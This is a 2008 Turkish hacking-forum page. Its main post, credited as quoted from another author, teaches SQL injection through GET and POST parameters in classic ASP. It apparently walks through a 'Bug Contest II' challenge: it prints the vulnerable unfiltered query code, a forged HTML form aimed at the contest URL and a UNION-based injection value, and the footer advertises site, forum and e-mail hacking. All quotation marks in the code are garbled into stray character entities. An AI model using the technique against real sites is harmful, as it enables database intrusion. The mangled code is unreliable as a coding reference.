» Kullanıcı Arabirimi «

Üye Girişi Yapmadınız !
Kullanıcı Adı :

Şifre :

Beni Hatırla ?


» Site Ayrıntıları «

» HackTurkiye TeaM

O Şimdi AskerOn/Off
Neo
System RooTDurum
DamaR
K@NUNSUZ
RootDurum
BLaDe
AdminstratorDurum
TraYN
Co AdminDurum
İnspector AdminDurum
MucuS
SüpervisörDurum
CArtEL
DexteR
Süper ModeratörDurum
$yn3rgy*
ModeratörDurum
desperado92
metalica55
redgen
savass18
Tr.Cocuqq
Hack TeamDurum
bybadboy

» Online Üyeler :«

» Shell «


» Istatistlik«

HTT İstatistlik

» Toplam: 18882 Kayıtlı Üye
» Yasaklı: 341 Üye
» Toplam Gösterim: 6548144
» Forum Konusu: 24350
» Forum Mesajı: 116317
» Toplam Haber: 21
» Toplam Dosya: 44
» Toplam Döküman: 79

 

» Forum Kuralları «

1-) Büyük Harfle Yazı Yazmak Bağırmak Anlamına Gelmektedir..Bu Nedenle Sadece Cümle Baslarında KuLLanıLaBiLir..!
2-) Küfürler,Ahlaksız Sözler Kesinlile Yasaktır..! [Aksi Takdirde Banlanacaksınız..!
3-) Üyeleri Assalııcak Sözler Yasaktır...
4-) Yapılan Emek Kötü Dahi Olsa Önce Saygı Önce Teşekkür Sonra Eleştiri Lütfen Sağduyulu Olun..
Yazar Mesaj   #836  2008-10-27 01:13 GMT  
Banlandı
Gender_Bay Online Durum
Şehir:
Toplam 16 Konu Yazmış
Toplam 57 Mesaj Yazmış
Tecrube: 9.8%
Ruh Hali: Belirtilmedi.
Kullanıcı Puanı :
Takım : Belirtilmedi.
Şehir:
Ülke:
Meslek: HACKER
Yaş: 18




Öncelikle GET ve POST metodlarını görelim

Bu metodlar web uygulamalarında sayfalar arası iletişim sağlamakta kullanılan metodlardır. HTML aracılığıyla formlar veya Querystringler ile başka sayfalara veri aktarırız. Bu verileri aktarım için iki seçeneğimiz mevcut. Bunlardan ilki GET metodu.

Get metodunda veri ziyaretçiler tarafından görülebilir, basitçe müdahale edilebilir ve güvensizdir. Sayfa.asp?id=1 şeklindeki tanımlar GET metodunu simgeler. Iki şekilde farklı sayfalara GET ile veri gönderebiliriz.

Bunlardan ilki linkler aracılığıyla yapılan iletişimlerdir. Örnek gerekirse;

Bir forum düşünün. Forumun üye profili sayfası kendine GET metodu ile gelen id değişkenindeki sayıyı baz alarak, ilgili id numarasına sahip profili göstersin. O zaman bu sistemi kullanmak için gerekli link:

profil.asp?id=5

şeklinde olacaktır. Bu linkte 5 id numaralı üyenin profil bilgileri listelenecektir

Diğer bir yöntem ise formlar ile veri transferidir. Iki sayfamız olsun elimizde. Biri gonder.asp digeri ise al.asp

Bu sayfalar arasında basit olarak GET ile veri transferi yapalım:

Gonder.asp kodlarımız

<html>
<bOdy>
<form name=&񗝍testForm&񗝍 method=&񗝍get&񗝍 action=&񗝍al.asp&񗝍> &񗝉 Burada görüyorsunuzki get yöntemiyle al.asp dosyası hedef gösteriliyor
<input type=&񗝍text&񗝍 name=&񗝍isim&񗝍> &񗝉 isim ismine sahip veri get ile gönderiliyor
<input type=&񗝍submit&񗝍 value=&񗝍Gonder&񗝍>
</form>
</bOdy>
</html>

Al.asp kodlarımız:

<%
Dim isim
isim = Request.QueryString(&񗝍isim&񗝍) &񗝉 Sayfamıza Get yöntemiyle isim isminde bir veri gelecegini tanımlıyoruz
If isim <> &񗝌&񗝍 Then &񗝉 Isim boş degilse yazdırıyoruz
Response.Write(isim)
End If
%>

Yukarıda gonder.asp yi çalıştırıp veri girip gönderdiğimizde girdiğimiz veri al.asp içersinde gösterilecektir. Adres satırında URL ise al.asp?isim=teststring Şeklinde olacaktır

Burada SQL Injection olarak düşünürsek bu degişkene müdahale ederek işlem yapabiliriz. Burada basit bir ekrana yazdırma değilde veritabanı islemi yaptığımızı düşünelim. Degişkenimiz id olsun ve herhangi bir sayı degeri olsun. Al.asp bu sayıyı alarak SQL sorgusunda kullanacak ve işlem yapacaktır. Eğer kodlayan kişi bu gelen verinin elenmesi kontrolünü yapmadıysa GET metodunda adres satırına müdahale ederek SQL sorgusuna istediğimiz veriyi girebiliriz. Buna örnek vermiyorum. Piyasada zaten bilinen tüm SQL Injection yöntemleri GET ile yapılanlardır

Post Metoduna geçersek:

Bu metodda veri gizli olarak sayfalar arasında gönderilir. Yani gönderilen veri adres satırında görünmez ve mantığı bilmeyen birisi veriye müdahale edemez. Şimdi post metodu ile veri gönderim örneğini kodlayalım:

Gonder.asp kodları

<html>
<head>
<meta http-equiv=&񗝍Content-Type&񗝍 content=&񗝍text/html; charset=iso-8859-9&񗝣>
</head>
<bOdy>
<form name=&񗝍testForm&񗝍 method=&񗝍post&񗝍 action=&񗝍al.asp&񗝍> &񗝉 Dikkat edin burada method=post kullanıldı
<input type=&񗝍text&񗝍 name=&񗝍isim&񗝍>
<input type=&񗝍submit&񗝍 value=&񗝍Gonder&񗝍>
</form>
</bOdy>
</html>

Al.asp kodları:

<%
Dim isim
isim = Request.Form(&񗝍isim&񗝍) &񗝉 Burada Request.Form kullandık. Yani veri post metodu dışında gelirse hiçbir şekilde işlem yapılmayacak
If isim <> &񗝌&񗝍 Then
Response.Write(isim)
End If
%>

Burada gonder.asp çalıştırıp veri girerek gönderelim. Yine aynı şekilde al.asp içersinde gösterilecektir. Fakat bu sefer adres satırı /al.asp şeklinde olacaktır. Yani veriye dışarıdan müdahale edebileceğimiz herhangi bir alan yok. Peki şimdi dışarıdan GET yöntemiyle veri girmeye çalışalım bakalım sayfa veriyi yazdıracakmı.

Adres satırına al.asp?isim=deneme yazalım. Burada isim al.asp sayfasındaki değişkendir. Bunu yazıp uyguladığınızda sonuç boş sayfa olacaktır. Yani sayfa Request.Form ile veriyi aldığı için ve veri GET metoduyla geldiği için işe yaramayacaktır.

Peki bu sayfada SQL Injection uygulamamızın bir yolu yokmudur?

Sorunun cevabı eğer programcı gerekli önlemi almadıysa evet vardır. Gerekli önlemden kastım ise:

Request.ServerVariables(&񗝍HTTP_REFERER&񗝍) deyimidir. Bu deyim geçerli sayfaya hangi sayfadan gelindiğini döndürür. Eğer programcı bu deyimi al.asp sayfasında kullanarak yalnızca kendi hostundan veri geliyorsa işlem yapmayı seçtiyse buna dışarıdan SQL Injection uygulama ihtimalimiz yoktur. Ama durum böyle değil ise gonder.asp deki formun aynısını kendimiz tasarlayarak hedef sistemdeki al.asp ye istediğimiz veriyi yollayabiliriz. Bunun örneğini Bug Contest II deki örnekle yapalım

Yarışmada dildegistir.asp sayfasına bir form veri gönderiyordu. Bu form 1 ve 2 değerlerini içeriyordu. Türkçe ve için 1 ingilizce için 2 değeri dildegistir.asp dosyasına gönderiliyor ve işlem yapılıyordu. Peki bu sayfada nasıl SQL Injection uygulanır?

Hemen dildegistir.asp ye gönderilen dil değiştirme formunun kaynak kodunu inceleyelim


-= Üye Olmadan İndirme Linkini Göremessiniz =-
Üyel Olmak İçin Tıklayiniz, .

sayfasında dil değiştirme formu mevcut. Formun kodları:

<form action=&񗝍dildegistir.asp&񗝍 method=&񗝍post&񗝍>
<select name=&񗝍dil&񗝍>
<option value=&񗝍2&񗝣>English</option>
<option value=&񗝍1&񗝣>Türkçe</option></select>
</select>
</form>

Kodu inceleyelim:

<form action=&񗝍dildegistir.asp&񗝍 method=&񗝍post&񗝍> Dildegistir.asp dosyasına POST metodu ile veri gönderiliyor. Yani GET ile bu veriyi yollayarak işlem yapmamız olanaksız

<select name=&񗝍dil&񗝍> Giden verinin ismi dil

<option value=&񗝍1&񗝣>Türkçe</option></select>
<option value=&񗝍2&񗝣>English</option> Sayfaya giden dil verisinin değerleri 1 veya 2 olarak seçilebiliyor

Bu bilgilerle sayfaya nasıl bir işlem uygulayabiliriz?

Buradaki formun benzerini yani değerleriyle oynanmış halini kendimiz tasarlayarak dildegistir.asp dosyasına 1 ve 2 harici değer gönderebiliriz.

Kendi tasarlayacağımız form şöyle olacaktır:

<form action=&񗝍http://www.cwequ.com/yarismaxxx2/dildegistir.asp&񗝍 method=&񗝍post&񗝍> &񗝉 Burada deminki dildegistir.asp dosyasını hedef gösterdik
<input name=&񗝍dil&񗝍 type=&񗝍textarea&񗝍 size=&񗝍125&񗝣> &񗝉 Textboxa gireceğimiz değerin dildegistir.asp dosyasına dil isminde gitmesini söyledik
<input type=&񗝍submit&񗝍>
</form>

Şimdi bu formu oluşturup textboxa girdiğimiz veri dildegistir.asp ye yollanacak ve normalde dildegistir.asp de kullanılması gereken 1 ve 2 verileri yerine kullanılacak. Yani SQL sorgusuna eklenen 1 ve 2 değerinin yerine kendi değerimizi SQL sorgusuna dahil ettireceğiz.

Şimdi birde dildegistir.asp sayfasının kodlarını inceleyelim:

<!&񗝃#include file=&񗝍baglanti.asp&񗝍&񗝃>
<%
id = Request.Form(&񗝍dil&񗝍) &񗝉 Gördüğünüz gibi dil isimli verinin POST ile formdan geleceği tanımlanmış

set rs = Server.CreateObject(&񗝍ADODB.Recordset&񗝍)
rs.open &񗝌SELECT * FROM menuicerik WHERE DilID = &񗝌&id&&񗝍&񗝍,baglanti &񗝉 Burada ise gelen veri DilID= kısmında SQL sorgusuna ekleniyor ve herhangi bir kontrolden geçmiyor. Bu demektirki sisteme SQL Injection uygulamamız için gerekli ikinci şart olan kontrolün olmamasıda tamamdır

if not rs.eof then
%>
<td width=&񗝍426&񗝣 rowspan=&񗝍4&񗝣><%=rs(&񗝍icerik&񗝍)%></td>
</tr>
<%
else
Response.Write &񗝌id yok&񗝍
end if
%>

Equilibrium:
<%
if id = &񗝌1&񗝣 then

session(&񗝍giris&񗝍)=&񗝍turkce&񗝍
Response.Redirect &񗝌giris.asp&񗝍
end if

if id = &񗝌2&񗝣 then

session(&񗝍giris&񗝍)=&񗝍ingilizce&񗝍
Response.Redirect &񗝌giris.asp&񗝍
end if
%>

Şimdi bunun denemesini yapalım:
<form action=&񗝍http://www.cwequ.com/yarismaxxx2/dildegistir.asp&񗝍 method=&񗝍post&񗝍>
<input name=&񗝍dil&񗝍 type=&񗝍textarea&񗝍 size=&񗝍125&񗝣>
<input type=&񗝍submit&񗝍>
</form>

Bu kodları .html uzantılı kaydedelim ve textboxa 1 union select 0 from tablo değerini girelim. Bu değerde yaptığımız:

1 harfinin koymamızın sebebi sistemde normalde tanımlı olan SELECT * FROM menuicerik WHERE DilID = sorgusunu tamamlamamız gerektiğidir. 1 değeri girince sorgumuz SELECT * FROM menuicerik WHERE DilID = 1 şeklinde tamamlanmış oluyor. union eklememizin sebebi ise tamamlanmış olan SQL sorgusuna kendi ekleyeceğimiz sorguyu birleştirmek istememizdir. union ifadesi iki SQL sorgusunu birleştirmek için kullanılır. select 0 from tablo sorgusu ile yapmak istediğimiz doğru tablo ismini tahmin etmektir. Eğer dbde tablo isminde bir tablo var ise bize Two columns&񗝖 şeklinde bir hata verecek bu hatadan sonra sütun sayısını deneyerek bulmak kalacak. Şu anda göndermemiz gereken SQL sorgusu:
1 union select 0 from tablo

Sistemin mantık olarak işleyişi böyledir. Bundan sonra devam etmiyorum. Zaten Bug Contest II sonuçlarında gerekli tüm kodlar duyuruldu. Bu dökümanda mantık olarak GET POST nedir? SQL Injection nasıl uygulanır sorusu üzerinde durduk

Kodların bozulma ihtimaline karşı txt upload:


-= Üye Olmadan İndirme Linkini Göremessiniz =-
Üyel Olmak İçin Tıklayiniz, .



Yazan : n0th!nq

alıntıdır

__________________
  

Yazar Mesaj   #848  2008-10-27 02:23 GMT  
Yeni Üye
Online Durum
Şehir:
Toplam Konu Yazmış
Toplam 15 Mesaj Yazmış
Tecrube: 2.6%
Ruh Hali: Belirtilmedi.
Kullanıcı Puanı :
Takım : Belirtilmedi.
Şehir:
Ülke:
Meslek: marlene
Yaş:


eline sağlık kardeş

__________________
  

Yazar Mesaj   #858  2008-10-27 06:18 GMT  
Yeni Üye
Gender_Bay Online Durum
Şehir: Feasterville
Toplam 1 Konu Yazmış
Toplam 19 Mesaj Yazmış
Tecrube: 3.3%
Ruh Hali: Durgun
Kullanıcı Puanı :
Takım : Belirtilmedi.
Şehir: Feasterville
Ülke:
Meslek: Student
Yaş: 19


Saol

__________________
Prepare To Be yasak ed By The Long Dick Of The Law
  

Hack Anti Pkk Domain Hack Email Hack Flood Ddos Ftp Hack Hack Hack Sitesi Hacker Hack Prgoramlari Ldu Ve Seditio Hack MSn Hack Nuke Hack Web Hack CuteNewsHack vBulletin Hack Phpbb Hack Smf Hack Joomla Hack MkPortal Hack Vb Hack phpBB3 Hack MyBB Hack XOOPS Hack WordPress Hack UseBB Hack Heck hack+hack hack+hacker TurkHacker
 

Anti Pkk , Domain Hack , Email Hack , Flood Ddos , Ftp Hack , Hack , Hack Sitesi , Hacker , Hack Prgoramları , Ldu Ve Seditio Hack ,MSn Hack , Nuke Hack , Web Hack , CuteNewsHack , vBulletin Hack , Phpbb Hack , Smf Hack , Joomla Hack , MkPortal Hack , Vb Hack , phpBB3 Hack , MyBB Hack , XOOPS Hack , WordPress Hack , UseBB Hack , Heck , hack+hack , hack+hacker , TurkHacker


RSS

Copyright© 06-07 HackTurkiye.CoM İnc. All Rights Reserved
Güvenlik , Kurye , Sultanbeyli , Rap , Forum , PSP , Rapid
[1] [2] [3] [4] [5] [6] [7] [8] [9] [10] [11] [12] [13] [14] [15] [16] [17] [18] [19] [20] [21] [22] [23] [24] [25] [26] [27] [28] [29] [30] [31] [32] [33] [34] [35] [36] [37] [38] [39] [40] [41] [42] [43] [44] [45] [46] [47] [48] [49] [50] [51] [52] [53] [54] [55] [56] [57] [58] [59] [60] [61] [62] [63] [64] [65] [66] [67] [68] [69] [70] [71] [72] [73] [74] [75] [76] [77] [78] [79] [80] [81] [82] [83] [84] [85] [86] [87] [88] [89] [90] [91] [92] [93] [94] [95] [96] [97] [98] [99] [100] [101] [102] [103] [104] [105] [106] [107] [108] [109] [110] [111] [112] [113] [114] [115] [116] [117] [118] [119] [120] [121] [122] [123] [124] [125] [126] [127] [128] [129] [130] [131] [132] [133] [134] [135] [136] [137] [138] [139] [140] [141] [142] [143] [144] [145] [146] [147] [148] [149] [150] [151] [152] [153] [154] [155] [156] [157] [158] [159] [160] [161] [162] [163] [164] [165] [166] [167] [168] [169] [170] [171]
Made in Turkey
[ 38.103.63.59 İp Numaranız Kayıt Edildi ]